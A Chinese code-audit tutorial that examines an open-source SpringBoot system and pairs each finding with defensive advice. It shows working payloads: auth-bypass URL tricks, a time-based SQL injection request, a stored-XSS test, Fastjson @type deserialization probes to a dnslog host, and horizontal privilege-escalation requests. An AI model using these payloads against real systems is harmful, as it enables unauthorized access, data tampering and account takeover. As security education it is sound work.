代码审计|基于某Java开源系统的代码审计

作者:不染
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

0x00 前言

本篇文章为Java代码审计入门的一篇文章,篇幅有限,很多漏洞没有审计覆盖,以后有时间再更新一个系列。

0x01 基础环境

1.1 技术框架

核心框架:SpringBoot 2.0.0
持久层框架:Mybatis 1.3.2
日志管理:Log4j 2.10.0
前端框架:Vue 2.6.10
UI框架: Ant-Design-Vue 1.5.2
模板框架: Jeecg-Boot 2.2.0
项目管理框架: Maven 3.2.3

1.2 开发环境

IDE: IntelliJ IDEA 
DB: Mysql 5.7.33
JDK: JDK 1.8
Node: Node 8.17.0
Maven: Maven 3.2.3+
Redis: 6.2.1
Tomcat: 9.0.45

0x02 个人审计思路

  1. 如果可以结合渗透测试,那就先看看这套程序有哪些功能,然后从漏洞级别高危到低危挖漏洞(比如任意文件删除,xss,文件上传之类);

  2. 同时利用fortify进行扫描,生成初步扫描结果,进行误报分析,排除误报

  3. 确定框架,分析框架漏洞,分析组件漏洞,查看是否有常见存在漏洞的第三方组件、查看已知安全策略,比如有没有配置sql注入或者xss过滤器;

  4. 如果可以查看系统的设计文档、接口文档,那就通过分析业务设计的合理性来分析逻辑漏洞, 根据接口文档,通过正向数据流分析漏洞;

  5. 漏洞级别从高危到低危搜索一些敏感函数、关键函数以及敏感关键字,查看调用链是否有安全措施;

  6. 如果是微服务架构,单个系统先进行审计,后续整体进行评估,评判接口,逻辑设计等问题 。

注意:代码审计只是找出了可能会造成安全问题的风险项,受多重因素(比如WAF、参数并非前端传入)等影响,并非能被直接利用。

0x03 开始审计

先查看pom.xml文件,发现是SpringBoot框架,并且FastJson为1.2.55版本(这是一个漏洞版本)。
SpringBoot的执行流程和SSM大致相同,不过SpringBoot搭建的Web项目里简化了许多配置文件。
代码审计|基于某Java开源系统的代码审计_第1张图片
之后再查看application.properties文件,发现这里超时时间过长
在这里插入图片描述
数据库连接也是弱密码和明文(生产环境请用强加密或强密码)
代码审计|基于某Java开源系统的代码审计_第2张图片
全文没有看到XSS及SQL注入过滤器及相关插件。试一试Springboot的信息泄露:路由地址及接口调用详情泄漏开发人员没有意识到地址泄漏会导致安全隐患或者开发环境切换为线上生产环境时,相关人员没有更改配置文件,忘记切换环境配置等。

直接访问以下swagger 相关路由链接来验证漏洞是否存在:

http://192.168.0.1:8080/v2/api-docs


一般来讲,暴露出 spring boot 应用的相关接口和传参信息并不能算是漏洞,但是以 “默认安全” 来讲,不暴露出这些信息更加安全。对于攻击者来讲,一般会仔细审计暴露出的接口以增加对业务系统的了解,并会同时检查应用系统是否存在未授权访问、越权等其他业务类型漏洞。
继续看一下过滤器都过滤了哪些内容,搜索@WebFilter定位
代码审计|基于某Java开源系统的代码审计_第3张图片
这里看到,对ignoredUrl及filterPath的value内的字段做请求时不会进行拦截

接着再看doFilter方法是如何实现的
代码审计|基于某Java开源系统的代码审计_第4张图片
由上述分析总结出触发认证绕过的场景:

  1. requestUrl中如果存在/doc.html,/register.html,/login.html字段就可以绕过。

  2. requestUrl中如果存在…/a.css/…/,…/a.png/…/,也可以绕过认证请求。

  3. requestUrl中如果以/user/login,/user/registerUser,/v2/api-docs等字符开头的时候,也可以绕过认证请求。

0x04 认证绕过

4.1 接着上面分析验证

1、验证第一种情况:
requestUrl中如果存在/doc.html,/register.html,/login.html字段就可以绕过。

无JSESSIONID的请求:
代码审计|基于某Java开源系统的代码审计_第5张图片
被重定向到登录界面

加入payload请求:
代码审计|基于某Java开源系统的代码审计_第6张图片
代码审计|基于某Java开源系统的代码审计_第7张图片
成功绕过验证去请求接口并得到数据。

2、验证第二种情况:requestUrl中如果存在…/a.css/…/,…/a.png/…/,也可以绕过认证请求。
无JSESSIONID请求:
代码审计|基于某Java开源系统的代码审计_第8张图片
被重定向到登录界面

加入payload请求:
代码审计|基于某Java开源系统的代码审计_第9张图片
代码审计|基于某Java开源系统的代码审计_第10张图片
成功绕过验证去请求接口并得到数据。

3、验证第三种情况:
requestUrl中如果以/user/login,/user/registerUser,/v2/api-docs等字符开头的时候,也可以绕过认证请求。

无JSESSIONID请求:
代码审计|基于某Java开源系统的代码审计_第11张图片
被重定向到登录界面。

加入payload请求:
代码审计|基于某Java开源系统的代码审计_第12张图片
代码审计|基于某Java开源系统的代码审计_第13张图片
成功绕过验证去请求接口并得到数据。

4.2 代码层面防御思路

可以使用Java Web权限认证框架,比如Shiro或Spring Security。

0x05 暴力破解

5.1 审计思路

观察用户登录时的判断逻辑,是否是简单判断,有没有做限制措施,比如次数锁定。
抓包查看,似乎是MD5加密。
代码审计|基于某Java开源系统的代码审计_第14张图片
验证了一下,果然!
代码审计|基于某Java开源系统的代码审计_第15张图片
这里看到密码做MD5加密处理,并没有其他复杂加密。
代码审计|基于某Java开源系统的代码审计_第16张图片
弱加密、没有验证码,如果还没有账户错误次数锁定的话,就可以暴力破解了。
代码审计|基于某Java开源系统的代码审计_第17张图片
代码审计|基于某Java开源系统的代码审计_第18张图片
由response返回包中的响应码可以看到,暴力破解成功。

5.2 代码层面防御思路

加入token机制,每次登录页面都会随机生成Token字串;
账号锁定机制,数次登录失败后,账号会锁定;
加强敏感字段的加密方式,比如使用SHA-256、SHA-384、SHA-512代替MD5,或者MD5加其他字段。

0x06 会话固定攻击

6.1 审计思路

登录账号成功后记录下会话标识的值,然后退出系统,再次登录,如果第二次的会话标识值和第一次的相同,则存在此问题。
BurpSuite抓包可以看出,两次session是一致的。
代码审计|基于某Java开源系统的代码审计_第19张图片
代码审计|基于某Java开源系统的代码审计_第20张图片
代码审计|基于某Java开源系统的代码审计_第21张图片
在logout函数中,并没有对session做会话失效操作,或者未在登录时做会话初始化操作。
代码审计|基于某Java开源系统的代码审计_第22张图片
可以在这加一段初始化session的代码。

request.getSession().invalidate();

代码审计|基于某Java开源系统的代码审计_第23张图片

6.2 代码层面防御思路

用户登录时生成新的Session ID。如果不是有效的会话标识符,服务器将会要求用户重新登录。

0x07 SQL注入

7.1 审计思路

SQL 注入一般 fortify都能扫描出来;
或者pom.xml中看到系统使用的是Mybatis框架,可以直接去审查Maper.xml文件,查看是否使用$拼接。
在之前的pom.xml文件中发现该框架使用的是Mybatis的数据库,并且为XML配置方式。

Mybatis框架在配置及数据层交互式是有注解和XML两种配置方式。

可以根据Fortify的扫描结果来排除误报:
代码审计|基于某Java开源系统的代码审计_第24张图片
在项目中全局搜索 ${
代码审计|基于某Java开源系统的代码审计_第25张图片
随便点一个
代码审计|基于某Java开源系统的代码审计_第26张图片
这里使用了不安全的拼接的模糊查询,继续搜索selectByConditionUser。
代码审计|基于某Java开源系统的代码审计_第27张图片
这是一个数据处理层的接口类。
代码审计|基于某Java开源系统的代码审计_第28张图片
继续搜索UserMapperEx.selectByConditionUser。
代码审计|基于某Java开源系统的代码审计_第29张图片
代码审计|基于某Java开源系统的代码审计_第30张图片
这是Service层,继续搜索UserService.select(
代码审计|基于某Java开源系统的代码审计_第31张图片
这里看到userName,loginName是从search字段中获取的,并且参数可控,接下来继续找Controller层的调用。

这里看到,其实UserComponent类实现了ICmmonQuery接口,并调用了select方法。
代码审计|基于某Java开源系统的代码审计_第32张图片
而且该目录下存在InterfaceContainer接口文件。
代码审计|基于某Java开源系统的代码审计_第33张图片
该段代码逻辑:调用init() 初始化函数 ,将service组件放入configComponentMap中,再调用getCommonQuery方法根据传进来的apiName获取对应的service组件。

继续搜索getCommonQuery(。
代码审计|基于某Java开源系统的代码审计_第34张图片
代码审计|基于某Java开源系统的代码审计_第35张图片
继续搜索CommonQueryManager,回溯到Controller层。
代码审计|基于某Java开源系统的代码审计_第36张图片
上述代码逻辑:实例化CommonQueryManager类的一个对象configResourceManager去调用select方法,传入apiName与paramterMap。

当然role/list这个方法里也存在SQL注入漏洞:验证POC:


GET /role/list?search=%7B%22name%22%3A%221'%20or%20sleep(3)--+%22%7D&currentPage=1&pageSize=10 HTTP/1.1
Host: 192.168.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: [http://192.168.0.1:8080/pages/manage/role.html](http://192.168.0.1:8080/pages/manage/role.html)
Cookie: JSESSIONID=6FFE9B1B443F8CB5D89481768D578794; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1624687383; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1624689767

可以看到SQL注入成功,但sleep返回时间比较久。
代码审计|基于某Java开源系统的代码审计_第37张图片
主要是因为错误和延迟。

在查询语句中使用sleep函数,那么休眠的时间跟返回的记录有关。如果表记录为空,不会休眠,如果表记录一条,那么休眠时间为1n,如果表记录为2,那休眠时间为:2n …以此类推。

控制台看到的SQL语句:
代码审计|基于某Java开源系统的代码审计_第38张图片
上述Fortify扫描结果也可以看出,SQL注入漏洞太多,这里不再演示。

7.2 代码层面防御思路

预编译(参数化查询);
存储过程(使用CallableStatement对存储过程接口的实现来执行数据库查询,SQL代码定义并存储在数据库本身中,然后从应用程序中调用,使用存储过程和预编译在防SQLi方面的效果是相同的);
黑/白名单验证(对于诸如排序顺序之类的简单操作,最好将用户提供的输入转换为布尔值,然后将该布尔值用于选择要附加到查询的安全值);
输出转义(将用户输入放入查询之前对其进行转义,大多使用ESAPI)
框架修复(#代替$)。
注意:order by 绕过预编译(order by 后面是不能用预编译处理的只能通过拼接处理,只能手动进行过滤)。

0x08 存储型XSS

8.1 审计思路

反射型 XSS一般fortify都能扫描出来;
web.xml找过滤器看是否有调用 sql 语句存储到数据库,以及是否将内容输出到前端,满足这两点才会存在(当然要没有过滤才可以)。
前面一开始审计的时候,已经知道全文没有XSS过滤器及相关插件和过滤操作。

在某收入单的备注参数处插入xss payload:
代码审计|基于某Java开源系统的代码审计_第39张图片
看一下控制台的SQL语句,无任何防护措施直接存入数据库。
代码审计|基于某Java开源系统的代码审计_第40张图片
从代码上看,也没有对输入、输出做任何过滤及转义操作。
代码审计|基于某Java开源系统的代码审计_第41张图片
直接将查询出的结果以json的形式输出。其他参数也同样存在此漏洞。
代码审计|基于某Java开源系统的代码审计_第42张图片

8.2 代码层面防御思路 :

1、全局编写过滤器。

配置web.xml,添加过滤器,比如xssAndSqlFilter

2、比如添加一个jar包:commons-lang-2.5.jar ,然后在后台调用这些函数:

StringEscapeUtils.escapeHtml(string);
StringEscapeUtils.escapeJavaScript(string);
StringEscapeUtils.escapeSql(string);

3、 org.springframework.web.util.HtmlUtils可以实现HTML标签及转义字符之间的转换。

 /** HTML转义 **/
String string = HtmlUtils.htmlEscape(userinput); //转义
String s2 = HtmlUtils.htmlUnescape(string); //转成原来的

0x09 Fastjson反序列化命令执行

9.1 审计思路

反序列化操作一般在导入模版文件、网络通信、数据传输、日志格式化存储、对象数据磁盘或 DB 存储等业务场景。

在代码审计时可重点关注一些反序列化操作函数并判断输入是否可控,如下:

ObjectInputStream.readObject、
ObjectInputStream.readUnshared、
XMLDecoder.readObject、
Yaml.load、
XStream.fromXML、
ObjectMapper.readValue、
JSON.parseObject
  • 在代码审计前可优先查看pom.xml文件,分析是否出现漏洞组件,如CommonsBeanutils、Fastjson<1.2.75等。
    在上面一开始审计的时候已经发现该项目使用了存在漏洞的FastJson版本。

而FastJson的核心在于:调用fastjson.JSON的parseObject函数将json字符串反序列化成对象。

搜索parseObject(
代码审计|基于某Java开源系统的代码审计_第43张图片
查看一个Util接口文件,这里直接将search的内容传入parseObject方法中进行解析。

继续搜索StringUtil.getInfo(
代码审计|基于某Java开源系统的代码审计_第44张图片
在SQL注入的时候已经分析过,search是从前端传进来的参数。
代码审计|基于某Java开源系统的代码审计_第45张图片
构造payload:

search={"@type":"java.net.Inet4Address","val":"ajgk2h.dnslog.cn"}

url编码转换的payload:

search=%7B%22@type%22:%22java.net.Inet4Address%22,%22val%22:%22ajgk2h.dnslog.cn%22%7D

代码审计|基于某Java开源系统的代码审计_第46张图片
dnslog平台已经收到了相应的请求
代码审计|基于某Java开源系统的代码审计_第47张图片
根据上面查找的结果,search接口全都存在fastjson反序列化漏洞。

search={"@type":"java.net.Inet4Address","val":"hsu1wn.dnslog.cn"}

url编码后的payload:

search=%7B%22@type%22:%22java.net.Inet4Address%22,%22val%22:%22hsu1wn.dnslog.cn%22%7D

利用上面的认证绕过,可以进行未授权命令执行:
代码审计|基于某Java开源系统的代码审计_第48张图片
dnslog平台已经收到了相应的请求
代码审计|基于某Java开源系统的代码审计_第49张图片

9.2 代码层面防御思路

  • 升级服务端所依赖的可能被利用的jar包,包括JDK;
  • 如果可以明确反序列化对象类的则可在反序列化时设置白名单,对于一些只提供接口的库则可使用黑名单设置不允许被反序列化类或者提供设置白名单的接口,可通过Hook函数resolveClass来校验反序列化的类从而实现白名单校验。

0x10 越权

10.1 审计思路

重点关注用户操作请求时查看是否有对当前登陆用户权限做校验从而确定是否存在漏洞;
有些厂商会使用一些主流的权限框架,例如 shiro ,spring security 等框架,那么需要重点关注框架的配置文件以及实现方法;
如果没有使用框架的话,就需要注意每个操作里是否有权限;
controller层找请求,看请求资源和操作处是否绑定userid。

10.2 越权密码重置

漏洞位置:系统管理>用户管理>选择用户>重置密码
代码审计|基于某Java开源系统的代码审计_第50张图片
抓取数据包查看
代码审计|基于某Java开源系统的代码审计_第51张图片
这里传入用户id,就可以重置该用户的密码
代码审计|基于某Java开源系统的代码审计_第52张图片
在service层查看resetPwd方法的具体实现
代码审计|基于某Java开源系统的代码审计_第53张图片
代码审计|基于某Java开源系统的代码审计_第54张图片
这里只禁止了重置admin超级管理员密码,但没有对当前用户身份做判断

使用jsh用户的身份去重置test123用户密码:
代码审计|基于某Java开源系统的代码审计_第55张图片
代码审计|基于某Java开源系统的代码审计_第56张图片
代码审计|基于某Java开源系统的代码审计_第57张图片
可以看到,这里成功使用jsh用户重置了test123用户的密码

结合认证绕过,可以根据用户id未授权重置用户密码
代码审计|基于某Java开源系统的代码审计_第58张图片

10.3 越权删除用户

漏洞位置:系统管理>用户管理>选择用户>删除用户信息
在这里插入图片描述
利用BurpSuite抓取数据包查看
代码审计|基于某Java开源系统的代码审计_第59张图片
代码这里能看到,传入用户ids,就可以删除该用户信息
在这里插入图片描述
在Service层查看batDeleteUser方法的具体实现:传入ids参数,使用,分割,接着调用batDeleteOrUpdateUser方法将ids参数拼接到sql语句中,没有对当前用户身份做判断就进行删除。
代码审计|基于某Java开源系统的代码审计_第60张图片
利用jsh用户删除test123用户:
代码审计|基于某Java开源系统的代码审计_第61张图片
代码审计|基于某Java开源系统的代码审计_第62张图片
在这里插入图片描述
利用认证绕过,可以根据用户ids未授权删除任意用户
代码审计|基于某Java开源系统的代码审计_第63张图片

10.4 越权修改用户信息

漏洞位置:系统管理>用户管理>选择用户>编辑用户信息
代码审计|基于某Java开源系统的代码审计_第64张图片
利用BurpSuite抓取数据包查看
代码审计|基于某Java开源系统的代码审计_第65张图片
重点关注id和info两个参数
代码审计|基于某Java开源系统的代码审计_第66张图片
在Service层查看updateUserAndOrgUserRel方法的具体实现:
代码审计|基于某Java开源系统的代码审计_第67张图片
继续查看checkUserNameAndLoginName方法:
代码审计|基于某Java开源系统的代码审计_第68张图片
上下两图代码逻辑分析:调用getLoginName方法来获取传入的id对应的登录名,之后调用getUserListByUserNameOrLoginName方法将登录名拼接到sql语句中来获取用户列表,再从列表中取出id与前端传入的id作比较,相同的话就可以更新数据。(这里并没有对当前用户身份做判断)
代码审计|基于某Java开源系统的代码审计_第69张图片
利用jsh用户修改id为133的用户的信息:
代码审计|基于某Java开源系统的代码审计_第70张图片
代码审计|基于某Java开源系统的代码审计_第71张图片
在这里插入图片描述
可以看到,已成功修改其他用户信息。

10.5 代码层面防御思路

执行关键操作前必须验证用户身份,验证用户是否具备操作数据的权限。

0x11 总结

由于篇幅有限,并未对其他相关漏洞进行审计,后续可能也会再写文章进行其他类型漏洞审计,师傅们可以多关注下灼剑(Tsojan)安全团队的其他文章,希望会对师傅们有些帮助。

0x12 了解更多安全知识

欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
代码审计|基于某Java开源系统的代码审计_第72张图片

你可能感兴趣的:(代码审计,java)